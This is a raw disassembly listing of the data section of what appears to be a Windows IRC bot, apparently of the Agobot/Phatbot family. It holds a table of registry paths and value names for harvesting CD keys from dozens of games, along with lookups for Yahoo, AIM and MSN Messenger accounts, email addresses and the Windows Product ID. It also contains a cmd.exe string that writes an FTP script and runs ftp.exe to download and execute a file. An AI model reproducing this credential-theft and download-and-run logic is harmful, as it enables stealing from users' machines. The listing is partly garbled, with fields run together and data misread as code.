		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456AC	dd offset aInterlockedcom+10h ;	DATA XREF: ___:0042E35Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456EC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_4456F0	dd 25206425h, 64hdword_4456F8	dd 455A4953h, 732520h, 0dword_445704	dd 4D54444Dh, 732520h, 0dword_445710	dd 4F544E52h, 732520h, 0dword_44571C	dd 52464E52h, 732520h, 0dword_445728	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44573C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA:					; DATA XREF: sub_433A20+36o
		unicode	0, <>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 446894h, 446F60h,	446860h, 80000002h, 446800h
		dd 446F60h, 4467D0h, 80000002h,	446778h, 446F60h, 446754h
		dd 80000002h, 44670Ch, 446F60h,	4466F4h, 80000002h, 4466B0h
		dd 446F60h, 446688h, 80000002h,	44664Ch, 446F60h, 446618h
		dd 80000002h, 4465B8h, 446F60h,	44658Ch, 80000002h, 446568h
		dd 446560h, 446534h, 80000002h,	44650Ch, 446560h, 4464F4h
		dd 80000001h, 4464C4h, 4464C0h,	4464B0h, 80000002h, 446474h
		dd 446F60h, 446464h, 80000002h,	446428h, 446F60h, 446414h
		dd 80000002h, 4463CCh, 446F60h,	4463B0h, 80000002h, 44636Ch
		dd 446F60h, 446350h, 80000001h,	446328h, 4464C0h, 446318h
		dd 80000001h, 4462F0h, 4464C0h,	4462D0h, 80000002h, 446294h
		dd 446290h, 446274h, 80000002h,	446250h, 446248h, 446230h
		dd 80000001h, 446204h, 4461FCh,	4461D8h, 80000002h, 44618Ch
		dd 446F60h, 446164h, 80000002h,	446110h, 446F60h, 4460D8h
		dd 80000002h, 446074h, 446F60h,	446040h, 80000002h, 445FE0h
		dd 446F60h, 445FC4h, 80000002h,	445F7Ch, 446F60h, 445F60h
		dd 80000002h, 445F18h, 446F60h,	445F08h, 80000002h, 445ECCh
		dd 446F60h, 445EBCh, 80000002h,	445E80h, 446F60h, 445E58h
		dd 80000002h, 445E04h, 446F60h,	445DDCh, 80000002h, 445D8Ch
		dd 446F60h, 445D70h, 80000002h,	445D48h, 4464C0h, 445D34h
		dd 80000002h, 445CFCh, 446F60h,	445CCCh, 80000002h, 445C74h
		dd 446F60h, 445C58h, 80000001h,	445C08h, 445C00h, 445BE4h
		dd 80000002h, 445BA0h, 445B94h,	445B7Ch, 80000001h, 445B4Ch
		dd 445B40h, 445B20h, 80000002h,	445AE4h, 445C00h, 445AC4h
		dd 80000002h, 445A88h, 445C00h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44692C	dd 3A6D6961h, 732520h, 0dword_446938	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A6C	dd 3A6E736Dh, 732520h, 0dword_446A78	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BA4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BAF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BC7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BD8:				; CODE XREF: ___:00446BDDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BD8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CD0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F60	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F64	dd 0							; sub_4245F0+11o ...
dword_446F68	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F70	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446F94	dd 41h dup(0)						; ___:0040D380o ...
dword_447098	dd 0							; ___:loc_40D3D4r ...
dword_44709C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470A0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470A4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470EC	dd 0							; sub_40FF60+47Dr
dword_4470F0	dd 0							; sub_40FF60+515r ...
dword_4470F4	dd 0							; sub_40FF60+655r ...
dword_4470F8	dd 0							; sub_40FF60+B79r ...
dword_4470FC	dd 0							; sub_40FF60+74Br
dword_447100	dd 0							; sub_40FF60+828r
dword_447104	dd 0							; sub_40FF60+77Cr
dword_447108	dd 0							; sub_40FF60+4DDr ...
dword_44710C	dd 0							; sub_40FF60+311r
dword_447110	dd 0							; sub_40FF60+34Dr ...
dword_447114	dd 0							; sub_40FF60+33Dr
dword_447118	dd 0							; sub_40FF60+3D2r
dword_44711C	dd 0							; sub_40FF60+E93r
dword_447120	dd 0							; sub_40FF60+1220r ...
dword_447124	dd 0							; sub_411FE0+4DAr
dword_447128	dd 0							; sub_40FF60+683r
dword_44712C	dd 0							; sub_40FF60+6B5r
dword_447130	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447148	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44718A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44718F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_447191	db 0			; DATA XREF: sub_40DB10r
word_447192	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472A7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472AB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472B0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_4472F9	db 3 dup(0)		; DATA XREF: ___:00408AEBo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447342	dw 0			; DATA XREF: ___:00408AC2o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44735C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44738B	db 0			; DATA XREF: ___:00408B14o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473D4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44741D	db 3 dup(0)		; DATA XREF: ___:00408A4Do
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474AF	db 0			; DATA XREF: ___:00408B3Do
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447541	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44758A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44767F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447759	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447834	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447864	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478C6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44790F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44793F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447988	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A34	dd 0				dd 11h dup(0)
		db 0
dword_447A7D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DE8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C8E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448C92	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D06	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DA0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FBB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491BB	dd 0							; sub_4256B0+4Fw ...
dword_4491BF	dd 0							; ___:004240BDw ...
dword_4491C3	dd 0							; sub_4256B0+5Dr ...
dword_4491C7	dd 0							; sub_4256B0+8Cr ...
dword_4491CB	dd 0							; sub_4256B0+9Dr
dword_4491CF	dd 0							; ___:004240F1r ...
byte_4491D3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
		dd 301Ch dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F30o
		dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44432Co
		dd 6DAh	dup(0)
		db 3 dup(0)
dword_4D5FBB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60A5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60BC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60BD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60C9	dd 0							; sub_404C20+2Aw
byte_4D60CD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D60F7	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61BB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61BF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D637F	db 0			; DATA XREF: ___:004081D8o
					; ___:00408664o ...
		dd 8 dup(0)
dword_4D63A0	dd 0				dd 51h dup(0)
		db 0
byte_4D64E9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6765	dd 0							; sub_426CE0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE2D5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DBF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E45	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E671F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E74	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E75	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E8A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:00408678o ...
		dd 0Fh dup(0)
		db 0
byte_4E6EC9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6ECB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
		dd 7522h dup(0)
dword_504354	dd 0AC2h dup(0)	dword_506E5C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE5C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB28	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB38	dd 0							; ___:0041FB3Dw ...
dword_50BB3C	dd 0							; sub_41FA90+2Aw ...
dword_50BB40	dd 0		dword_50BB44	dd 0							; ___:0041FB5Bw
dword_50BB48	dd 0		dword_50BB4C	dd 0							; ___:0041FB67w ...
dword_50BB50	dd 0							; ___:0041FB6Dw ...
dword_50BB54	dd 0							; ___:00420DA9o
dword_50BB58	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB5C	dd 0							; ___:0041FB81w
dword_50BB60	dd 0							; sub_420530+41w ...
dword_50BB64	dd 0							; sub_420530+7Fr
dword_50BB68	dd 0							; sub_420530+92r ...
dword_50BB6C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB7C	dd 0							; ___:0041C1A5o
dword_50BB80	dd 0							; sub_423720+5r ...
dword_50BB84	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAC0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAD8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E130	dd 0		word_50E134	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E138	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E13C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E140	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E144	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E14C	dd 80h dup(0)						; sub_426A60+129o
dword_50E34C	dd 0		dword_50E350	dd 0				dd 1Dh dup(0)
dword_50E3C8	dd 0							; ___:0042B11Dr ...
dword_50E3CC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3D0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3D4	dd 0		dword_50E3D8	dd 0							; sub_430270r ...
dword_50E3DC	dd 0		dword_50E3E0	dd 0							; sub_42F6B0+111w ...
dword_50E3E4	dd 0							; sub_42F6B0+F6r ...
dword_50E3E8	dd 0							; ___:loc_4303B0r
dword_50E3EC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 139h	dup(0)
dword_50E8E0	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E920	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E940	dd 8 dup(0)						; sub_430690+25o ...
dword_50E960	dd 8 dup(0)						; sub_431560+84o ...
dword_50E980	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9A0	dd 35Ch	dup(0)						; sub_42F6B0:loc_42F7C7o ...
dword_50F710	dd 0				align 8
dword_50F718	dd 0				dd 2 dup(0)
dword_50F724	dd 0				dd 4 dup(0)
dword_50F738	dd 0							; sub_40E7A0+25Ar ...
dword_50F73C	dd 0		dword_50F740	dd 0				dd 2 dup(0)
dword_50F74C	dd 0							; sub_40ED70+15Er ...
		dd 0
dword_50F754	dd 0							; sub_40E7A0+22Cr
		dd 0
dword_50F75C	dd 0							; sub_4207E0+285r ...
		dd 0
dword_50F764	dd 0							; sub_40E7A0+24Cr
		dd 3Ch dup(0)
dword_50F858	dd 0		dword_50F85C	dd 0		dword_50F860	dd 0				align 10h
		dd 0
dword_50F874	dd 0							; sub_420530+FEr
		dd 0Ah dup(0)
dword_50F8A0	dd 0							; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 0							; sub_40FF60+47r ...
		dd 7 dup(0)
dword_50F8C4	dd 0				align 10h
dword_50F8D0	dd 0							; sub_41B4B0+2Fr ...
		align 8
dword_50F8D8	dd 0							; sub_4203D0+2Er ...
		dd 3 dup(0)
dword_50F8E8	dd 0				dd 8 dup(0)
		dd 0
		dd 27h dup(0)
dword_50F9AC	dd 0				dd 2Ch dup(0)
dword_50FA60	dd 0							; sub_42D2C0+53r ...
dword_50FA64	dd 0				dd 4 dup(0)
dword_50FA78	dd 0				align 10h
dword_50FA80	dd 0		dword_50FA84	dd 0							; sub_42CB10+4Ar ...
		align 10h
dword_50FA90	dd 0		dword_50FA94	dd 0		dword_50FA98	dd 0		dword_50FA9C	dd 0		dword_50FAA0	dd 0		dword_50FAA4	dd 0				dd 0
dword_50FAAC	dd 0							; ___:0041C2DAr
		dd 3 dup(0)
dword_50FABC	dd 0							; sub_41B950+17Er ...
		dd 0
dword_50FAC4	dd 0							; sub_42DFD0+34r ...
		dd 0
dword_50FACC	dd 0				dd 0
dword_50FAD4	dd 0							; sub_42CB10+90r
dword_50FAD8	dd 0				align 10h
dword_50FAE0	dd 0				dd 4 dup(0)
dword_50FAF4	dd 0							; sub_41BC90+5Dr
dword_50FAF8	dd 0							; sub_40FF60+1126r ...
dword_50FAFC	dd 0							; ___:00419BDAr
		dd 2 dup(0)
dword_50FB08	dd 0							; sub_422A40+203r ...
		dd 2 dup(0)
dword_50FB14	dd 0				dd 0
		dd 0
		dd 34h dup(0)
dword_50FBF0	dd 0							; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 0				dd 2 dup(0)
dword_50FC2C	dd 0							; sub_425020:loc_4250C9r ...
dword_50FC30	dd 0							; sub_42A5F0:loc_42A6ABr
		dd 4 dup(0)
dword_50FC44	dd 0				align 10h
dword_50FC50	dd 0							; sub_42B540+E8r
		align 8
dword_50FC58	dd 0		dword_50FC5C	dd 0							; sub_42A5F0+F9r
		dd 6 dup(0)
dword_50FC78	dd 0				align 10h
dword_50FC80	dd 0							; sub_41A6D0+48r ...
dword_50FC84	dd 0		dword_50FC88	dd 0							; sub_41F860+198r ...
dword_50FC8C	dd 0							; ___:004216E1r ...
dword_50FC90	dd 0							; sub_427AD0+18Dr ...
